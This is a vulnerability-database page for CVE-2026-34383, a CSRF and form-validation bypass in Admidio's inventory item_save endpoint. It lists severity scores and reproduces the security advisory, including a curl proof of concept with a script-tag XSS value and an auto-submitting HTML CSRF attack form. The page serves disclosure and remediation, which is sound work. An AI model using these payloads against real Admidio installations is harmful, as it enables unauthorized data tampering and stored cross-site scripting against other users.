CVE-2026-34383

lowPriorität · verfolgen · 14EPSS 0.001 · 3. PerzentilEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.13% (3rd) EPSS
CVSS 3.5 · low
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · bewertet 2026-10-27

Admidio is an open-source user management solution. Prior to version 5.0.8, the inventory module's item_save endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces. This issue has been patched in version 5.0.8.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

4.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · low–medium · 3.2–4.3

v3.13.5lowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:Nprimary · NVD / NIST USAusnutzbarkeit 2.1 · Auswirkung 1.4
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Nsecondary · ENISA EU
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 2.8 · Auswirkung 1.4
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Nsecondary · OSV
v3.13.2lowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-4rwm-c5mj-wh7xAdmidio has CSRF and Form Validation Bypass in Inventory Item Save via `imported` Parameter2026-03-31ghsa · osvUS

    ## Summary The inventory module's `item_save` endpoint accepts a user-controllable POST parameter `imported` that, when set to `true`, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the `FormPresenter` validation normally enforces. ## Details In `modules/inventory.php`, the `imported` parameter is read from POST input: **File:** `modules/inventory.php:50` ```php $postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultValue' => false)); ``` This is then passed to `ItemService`: **File:** `modules/inventory.php:251-256` ```php $itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported); $itemService->save(true); ``` Inside `ItemService::save()`, the `postImported` flag completely skips CSRF and form validation: **File:** `src/Inventory/Service/ItemService.php:99-109` ```php public function save(bool $multiEdit = false): void { global $gCurrentSession, $gL10n, $gSettingsManager; // check form field input and sanitized it from malicious content if (!$this->postImported) { $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit); } else { $formValues = $_POST; // Raw $_POST used with no CSRF check, no validation } // ... item data is saved using raw $formValues ``` When `imported=1` is sent, the code: 1. Skips `$gCurrentSession->getFormObject()` — which validates the CSRF token 2. Skips `$itemFieldsEditForm->validate()` — which sanitizes and validates field values 3. Uses raw `$_POST` values directly to save to the database This means: - CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data - Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped - Raw user input flows into `$this->itemRessource->setValue()` and then `saveItemData()` without the normal server-side sanitization ## PoC ```bash # As an authenticated user with inventory access, save arbitrary item data # without a valid CSRF token and without form validation: curl -X POST -b 'ADMIDIO_SESSION=<session>' \ 'https://admidio.local/modules/inventory.php?mode=item_save' \ -d 'imported=1' \ -d 'adm_csrf_token=anything' \ -d 'INF-CATEGORY=1' \ -d 'INF-ITEMNAME=<script>alert(1)</script>' # The CSRF token is not checked because imported=true skips the form object lookup. # The field value is not sanitized because validate() is skipped. ``` A CSRF attack page would look like: ```html <html> <body> <form action="https://admidio.local/modules/inventory.php?mode=item_save" method="POST"> <input type="hidden" name="imported" value="1" /> <input type="hidden" name="adm_csrf_token" value="dummy" /> <input type="hidden" name="INF-CATEGORY" value="1" /> <input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" /> </form> <script>document.forms[0].submit();</script> </body> </html> ``` ## Impact - **CSRF bypass**: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page. - **Validation bypass**: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored. - **Stored XSS potential**: Because `validate()` is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer). ## Recommended Fix Remove the `imported` parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the `imported` flag: ```php public function save(bool $multiEdit = false): void { global $gCurrentSession, $gL10n, $gSettingsManager; // ALWAYS validate CSRF token $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); if (!$this->postImported) { $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit); } else { // For imported items, still validate the CSRF token (done above) // and apply basic sanitization $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit); } // ... } ``` Alternatively, the `imported` flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.

06

auch bekannt als (3)

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07

quellen

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veröffentlicht 2026-03-31geändert 2026-07-24
08

Referenzen (8)

Externe Belege — Patches, Meldungen, Analysen.

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